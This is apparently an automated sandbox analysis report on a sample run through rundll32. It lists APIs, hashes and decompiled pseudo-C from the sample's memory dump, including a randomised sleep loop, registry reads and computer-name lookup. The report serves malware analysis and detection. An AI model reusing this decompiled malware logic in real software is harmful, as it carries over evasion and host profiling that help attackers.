                    0x0318254d
                    0x0318254d
                    0x03182556
                    0x0318255c
                    0x03182561
                    0x0318257b
                    0x03182587
                    0x03182589
                    0x0318258e
                    0x03182598
                    0x03182598
                    0x03182590
                    0x03182590
                    0x03182590
                    0x03182590
                    0x0318259f
                    0x031825ac
                    0x031825b3
                    0x031825b8
                    0x031825b8
                    0x031825c1
                    0x031825c4
                    0x031825ea
                    0x031825ef
                    0x031825fb
                    0x03182600
                    0x03182605
                    0x0318260a
                    0x0318260c
                    0x03182638
                    0x0318263a
                    0x0318260e
                    0x03182612
                    0x03182617
                    0x0318261c
                    0x03182623
                    0x03182629
                    0x0318262e
                    0x03182634
                    0x0318263b
                    0x0318263d
                    0x0318263f
                    0x0318264e
                    0x03182654
                    0x03182659
                    0x0318265b
                    0x0318268b
                    0x0318268d
                    0x0318265d
                    0x0318265d
                    0x03182663
                    0x03182670
                    0x03182676
                    0x03182676
                    0x0318267e
                    0x03182687
                    0x0318268e
                    0x03182690
                    0x03182692
                    0x03182699
                    0x031826a6
                    0x031826b0
                    0x031826b2
                    0x031826b4
                    0x00000000
                    0x00000000
                    0x031826b6
                    0x031826bb
                    0x031826bd
                    0x031826c4
                    0x031826c8
                    0x031826cb
                    0x031826e0
                    0x031826e4
                    0x031826e9
                    0x00000000
                    0x031826e9
                    0x031826cd
                    0x031826cf
                    0x00000000
                    0x00000000
                    0x031826da
                    0x031826dc
                    0x031826de
                    0x00000000
                    0x00000000
                    0x00000000
                    0x031826de
                    0x031826c1
                    0x031826c1
                    0x03182692
                    0x031825c6
                    0x031825c6
                    0x031825cb
                    0x031826eb
                    0x031826f0
                    0x031826f8
                    0x031826f8
                    0x00000000
                    0x031826f0
                    0x031825d1
                    0x031825d4
                    0x031825de
                    0x031825e5
                    0x00000000
                    0x03182700
                    0x03182700
                    0x03182703
                    0x03182707
                    0x03182707

                    APIs
                      • Part of subcall function 03184520: GetModuleHandleA.KERNEL32(4C44544E,00000000,0318253B,00000001), ref: 0318452F
                    • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 031825B8
                      • Part of subcall function 031827A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 031827C4
                      • Part of subcall function 031827A0: wsprintfA.USER32 ref: 03182828
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • memset.NTDLL ref: 03182612
                    • RtlInitializeCriticalSection.NTDLL(057C95C0), ref: 03182623
                      • Part of subcall function 03185C31: memset.NTDLL ref: 03185C4B
                      • Part of subcall function 03185C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 03185C91
                      • Part of subcall function 03185C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 03185C9C
                    • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0318264E
                    • wsprintfA.USER32 ref: 0318267E
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                    • String ID:
                    • API String ID: 1825273115-0
                    • Opcode ID: 9f33d8666b0cd4861ddccea05608ac9e2560ddc8a6e22b620763a0c0e4b5e80f
                    • Instruction ID: f45a9cbac6e024b2f5d75d7ad2c864a9ace94dc6bbd9b9a03a1d80f79d4dccb6
                    • Opcode Fuzzy Hash: 9f33d8666b0cd4861ddccea05608ac9e2560ddc8a6e22b620763a0c0e4b5e80f
                    • Instruction Fuzzy Hash: 7D51D875A41315ABDB26FFA1DC84B6E77A8BF0C700F284C56E901D7144D77495828F6C
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03184358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 355 3184358-318439a 357 31843a0-31843a9 355->357 358 3184421-3184427 355->358 359 31843ea-31843ed 357->359 360 31843ab-31843bc SysAllocString 357->360 363 318444b 359->363 364 31843ef-31843ff SysAllocString 359->364 361 31843be-31843c5 360->361 362 31843c7-31843df 360->362 368 3184413-3184416 361->368 372 31843e3-31843e8 362->372 367 318444d-3184450 363->367 365 318442a-3184449 364->365 366 3184401 364->366 365->367 369 3184408-318440a 366->369 367->369 371 3184452-318445f 367->371 368->358 370 3184418-318441b SysFreeString 368->370 369->368 373 318440c-318440d SysFreeString 369->373 370->358 371->358 372->359 372->368 373->368
                    APIs
                    • SysAllocString.OLEAUT32(80000002), ref: 031843B5
                    • SysAllocString.OLEAUT32(03184D42), ref: 031843F9
                    • SysFreeString.OLEAUT32(00000000), ref: 0318440D
                    • SysFreeString.OLEAUT32(00000000), ref: 0318441B
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$AllocFree
                    • String ID:
                    • API String ID: 344208780-0
                    • Opcode ID: 78809f38ce09300ed2e121f85508fb632ba59d81675a00616e7fa6024100dd54
                    • Instruction ID: b1b482b3c061a02def45a2523c2c2126b8a5559d3116ed8942941ee06a519e88
                    • Opcode Fuzzy Hash: 78809f38ce09300ed2e121f85508fb632ba59d81675a00616e7fa6024100dd54
                    • Instruction Fuzzy Hash: 2031FF7590020AEFCB05EF99D8D09AEBBB9FF5C341B24842EF90697250DB709581CF69
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 65%
                    			E0318213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L03188436();
					_t34 = _t16 + _t13;
					_t17 = E03186269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                    0x03182143
                    0x0318214e
                    0x0318214f
                    0x0318214f
                    0x0318215b
                    0x03182164
                    0x03182167
                    0x0318216b
                    0x0318216d
                    0x03182172
                    0x03182173
                    0x03182174
                    0x0318217e
                    0x03182181
                    0x03182188
                    0x0318218c
                    0x03182193
                    0x03182199
                    0x031821a3

                    APIs
                    • SwitchToThread.KERNEL32(?,00000001,?,?,?,03185044,?,?), ref: 0318214F
                    • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,03185044,?,?), ref: 0318215B
                    • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 03182174
                      • Part of subcall function 03186269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 03186308
                    • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,03185044,?,?), ref: 03182193
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                    • String ID:
                    • API String ID: 1610602887-0
                    • Opcode ID: 3ce404efa8bbf7128af48b7657ee32f3c28b4bc9bdb664be381419438bad8a95
                    • Instruction ID: f0a19ebc383241fa76c666448f0e2416ecc1d309741e25c57188d4ac9c698566
                    • Opcode Fuzzy Hash: 3ce404efa8bbf7128af48b7657ee32f3c28b4bc9bdb664be381419438bad8a95
                    • Instruction Fuzzy Hash: 9AF0A477B402047BD715ABA4CC59FEF77BDDB88361F140164E602E7340E7B89A418AA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185006 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03185006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x318a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x318a1c8 = GetTickCount();
				_t5 = E031854D8(_a4);
				if(_t5 == 0) {
					_t5 = E0318213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E03186392(_t9) != 0) {
							 *0x318a300 = 1; // executed
						}
						_t7 = E03182523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                    0x03185006
                    0x0318500f
                    0x03185015
                    0x0318501c
                    0x03185020
                    0x00000000
                    0x03185020
                    0x0318502d
                    0x03185032
                    0x03185039
                    0x0318503f
                    0x03185046
                    0x0318504f
                    0x03185051
                    0x03185051
                    0x0318505b
                    0x00000000
                    0x0318505b
                    0x03185046
                    0x03185060

                    APIs
                    • HeapCreate.KERNEL32(00000000,00400000,00000000,0318107E,?), ref: 0318500F
                    • GetTickCount.KERNEL32 ref: 03185023
                    Strings
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: CountCreateHeapTick
                    • String ID: shaC
                    • API String ID: 2177101570-2369323066
                    • Opcode ID: 0bdab948d18580ce3693807add43f405c97e8cad82a4d7ab4b5d061ae769f786
                    • Instruction ID: ade896c7f1841edc9e49d44cc9986755d5e8010d74ab469d3b24a8e8f7a8fddf
                    • Opcode Fuzzy Hash: 0bdab948d18580ce3693807add43f405c97e8cad82a4d7ab4b5d061ae769f786
                    • Instruction Fuzzy Hash: 67F09234680301ABDB26FB709C1571576DAEF0E744F744426FD05D8080EB75D4809E7D
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03185251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E03185251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E03186ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x318a348; // 0x263d5a8
				_t4 = _t24 + 0x318bc70; // 0x57c9218
				_t5 = _t24 + 0x318bb60; // 0x4f0053
				_t26 = E031833F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x318a348; // 0x263d5a8
						_t11 = _t32 + 0x318bcc8; // 0x57c9270
						_t48 = _t11;
						_t12 = _t32 + 0x318bb60; // 0x4f0053
						_t52 = E03185DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x318a348; // 0x263d5a8
							_t13 = _t35 + 0x318bcf0; // 0x30314549
							if(E03185157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14) == 0) {
								_t61 =  *0x318a2fc - 6;
								if( *0x318a2fc <= 6) {
									_t42 =  *0x318a348; // 0x263d5a8
									_t15 = _t42 + 0x318bcd2; // 0x52384549
									E03185157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x318a348; // 0x263d5a8
							_t17 = _t38 + 0x318bbb8; // 0x57c9160
							_t18 = _t38 + 0x318bc1c; // 0x680043
							_t40 = E03185B0E(_v8, 0x80000001, _t52, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x318a2d8, 0, _t52);
						}
					}
					HeapFree( *0x318a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E03187220(_t54);
				}
				return _t45;
			}



















                    0x03185251
                    0x03185261
                    0x03185264
                    0x0318526b
                    0x0318526d
                    0x0318526d
                    0x03185270
                    0x03185275
                    0x0318527c
                    0x03185289
                    0x0318528e
                    0x03185292
                    0x031852a0
                    0x031852ae
                    0x031852b2
                    0x03185343
                    0x03185343
                    0x031852b8
                    0x031852b8
                    0x031852bd
                    0x031852bd
                    0x031852c4
                    0x031852d0
                    0x031852d2
                    0x031852d4
                    0x031852d6
                    0x031852dd
                    0x031852ef
                    0x031852f1
                    0x031852f8
                    0x031852fa
                    0x03185301
                    0x0318530c
                    0x0318530c
                    0x031852f8
                    0x03185311
                    0x03185316
                    0x0318531d
                    0x0318532d
                    0x0318533b
                    0x0318533d
                    0x0318533d
                    0x031852d4
                    0x0318534f
                    0x0318534f
                    0x03185351
                    0x03185356
                    0x03185358
                    0x03185358
                    0x03185363

                    APIs
                    • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,057C9218,00000000,?,74D0F710,00000000,74D0F730), ref: 031852A0
                    • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,057C9160,?,00000000,30314549,00000014,004F0053,057C9270), ref: 0318533D
                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,031868B6), ref: 0318534F
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: bd6837941dce378b01a54a84d0464b4ab1957264dffac314944cbdf9363d1fa9
                    • Instruction ID: 2fb4cf3cad4776c81b0f95ec781deafe517b39b59cf1f1afae90868617d4c118
                    • Opcode Fuzzy Hash: bd6837941dce378b01a54a84d0464b4ab1957264dffac314944cbdf9363d1fa9
                    • Instruction Fuzzy Hash: 96316F39900208BFDB11EB95DC84E9E7BBEEF0D704F180156B9009B121DB709A85DF68
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E0318790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E03184358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x318a348; // 0x263d5a8
						_t20 = _t68 + 0x318b270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E03184984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                    0x03187911
                    0x03187914
                    0x03187924
                    0x0318792d
                    0x03187931
                    0x031879ff
                    0x03187a05
                    0x03187a05
                    0x0318794b
                    0x03187950
                    0x03187954
                    0x0318795a
                    0x0318795f
                    0x03187966
                    0x03187975
                    0x03187975
                    0x03187979
                    0x0318797b
                    0x03187987
                    0x03187992
                    0x0318799d
                    0x031879a1
                    0x031879ab
                    0x031879af
                    0x031879b1
                    0x031879b6
                    0x031879bd
                    0x031879cd
                    0x031879cd
                    0x031879b6
                    0x031879af
                    0x031879cf
                    0x031879d4
                    0x031879d9
                    0x031879d9
                    0x031879dc
                    0x031879e5
                    0x031879ea
                    0x031879ea
                    0x031879ef
                    0x031879f4
                    0x031879f4
                    0x031879ef
                    0x03187979
                    0x031879f6
                    0x031879fc
                    0x00000000

                    APIs
                      • Part of subcall function 03184358: SysAllocString.OLEAUT32(80000002), ref: 031843B5
                      • Part of subcall function 03184358: SysFreeString.OLEAUT32(00000000), ref: 0318441B
                    • SysFreeString.OLEAUT32(?), ref: 031879EA
                    • SysFreeString.OLEAUT32(03184D42), ref: 031879F4
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloc
                    • String ID:
                    • API String ID: 986138563-0
                    • Opcode ID: 34fc75ae8b1a8575962bb6afbd04f011f2c8f2664372ec243a5140c39dc4f200
                    • Instruction ID: 97bc91b6119df0d99de6da8f66b7332359ab244c03489f6a928f45b3548aca9b
                    • Opcode Fuzzy Hash: 34fc75ae8b1a8575962bb6afbd04f011f2c8f2664372ec243a5140c39dc4f200
                    • Instruction Fuzzy Hash: 2D314876900259EFCB11EF58C888CABBB7AFFCD7507244658F8059B250D7319D92CBA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318370C Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(031857D1), ref: 03183725
                      • Part of subcall function 0318790B: SysFreeString.OLEAUT32(?), ref: 031879EA
                    • SysFreeString.OLEAUT32(00000000), ref: 03183766
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloc
                    • String ID:
                    • API String ID: 986138563-0
                    • Opcode ID: 10b13ec890cf138817d5acbf42a3093505c7e558d3a8ce2542bf048127e4f9b9
                    • Instruction ID: 718263b92fd2faf3e158fb2bdeafdb0497cd7e1fd9a9b801f9f8236b2600161f
                    • Opcode Fuzzy Hash: 10b13ec890cf138817d5acbf42a3093505c7e558d3a8ce2542bf048127e4f9b9
                    • Instruction Fuzzy Hash: BC01AD7A900209BFCB42EFA9C904DAF7BB8FF4CA10B144022FA05E7120E7309955CBA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0318472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E0318472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E031833DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E031861DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                    0x03184734
                    0x0318473f
                    0x03184741
                    0x03184747
                    0x03184749
                    0x0318474e
                    0x03184757
                    0x0318475b
                    0x03184764
                    0x03184768
                    0x03184777
                    0x0318476a
                    0x0318476b
                    0x03184770
                    0x03184770
                    0x03184768
                    0x0318475b
                    0x03184780

                    APIs
                    • GetComputerNameExA.KERNEL32(00000003,00000000,03183DCD,00000000,00000000,?,7491C740,03183DCD), ref: 03184747
                      • Part of subcall function 031833DC: RtlAllocateHeap.NTDLL(00000000,00000000,031862F6), ref: 031833E8
                    • GetComputerNameExA.KERNEL32(00000003,00000000,03183DCD,03183DCE,?,7491C740,03183DCD), ref: 03184764
                      • Part of subcall function 031861DA: RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: ComputerHeapName$AllocateFree
                    • String ID:
                    • API String ID: 187446995-0
                    • Opcode ID: 0560fd2f1119820b9ef460f90cfacdf7ab33d73ad77a7aaa22198be6d4ca33bc
                    • Instruction ID: a86bbfb1ba9095eaeaec479d1a8a168af3458ee0fe1f3c20e0189da08fb26c77
                    • Opcode Fuzzy Hash: 0560fd2f1119820b9ef460f90cfacdf7ab33d73ad77a7aaa22198be6d4ca33bc
                    • Instruction Fuzzy Hash: 3FF0543A60025AFBEB11E7AA8C44EAF76ACDBD9654F550055AA04D7140EF70DA018B74
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 03182839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                    Download Yara Rule
                    C-Code - Quality: 34%
                    			E03182839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x318a348; // 0x263d5a8
				_t4 = _t15 + 0x318b3e8; // 0x57c8990
				_t20 = _t4;
				_t6 = _t15 + 0x318b174; // 0x650047
				_t17 = E0318790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E0318661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                    0x03182843
                    0x0318284a
                    0x0318284b
                    0x0318284c
                    0x0318284d
                    0x03182853
                    0x03182858
                    0x03182858
                    0x03182862
                    0x03182874
                    0x0318287b
                    0x031828a9
                    0x0318287d
                    0x0318287f
                    0x03182884
                    0x031828a6
                    0x03182886
                    0x03182889
                    0x03182890
                    0x03182895
                    0x03182897
                    0x03182897
                    0x0318289c
                    0x0318289c
                    0x03182884
                    0x031828b0

                    APIs
                      • Part of subcall function 0318790B: SysFreeString.OLEAUT32(?), ref: 031879EA
                      • Part of subcall function 0318661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,03184B72,004F0053,00000000,?), ref: 03186625
                      • Part of subcall function 0318661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,03184B72,004F0053,00000000,?), ref: 0318664F
                      • Part of subcall function 0318661C: memset.NTDLL ref: 03186663
                    • SysFreeString.OLEAUT32(00000000), ref: 0318289C
                    Memory Dump Source
                    • Source File: 00000004.00000002.637490715.0000000003181000.00000020.10000000.00040000.00000000.sdmp, Offset: 03180000, based on PE: true
                    • Associated: 00000004.00000002.637476580.0000000003180000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637520554.0000000003189000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637535002.000000000318A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000004.00000002.637544992.000000000318C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_4_2_3180000_rundll32.jbxd
                    Similarity
                    • API ID: FreeString$lstrlenmemcpymemset
                    • String ID:
                    • API String ID: 397948122-0
                    • Opcode ID: 94a6c90a343a78ff3b9eb6fe4671715b393ec92be97008429dbbd27468b0c700
                    • Instruction ID: 8ed534b6d16c5277d738879e30076f1421416a69352b75ae8cfa17721f60059b
                    • Opcode Fuzzy Hash: 94a6c90a343a78ff3b9eb6fe4671715b393ec92be97008429dbbd27468b0c700
                    • Instruction Fuzzy Hash: 0801B135500219BFDF02EFA4CC40AAEBBB8FF0D250F004925E902E7060E7709952CB99
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 031861DA Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E031861DA(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x318a2d8, 0, _a4); // executed
				return _t2;
			}




                    0x031861e6
                    0x031861ec

                    APIs
                    • RtlFreeHeap.NTDLL(00000000,00000000,03186383,00000000,?,00000000,00000000), ref: 031861E6
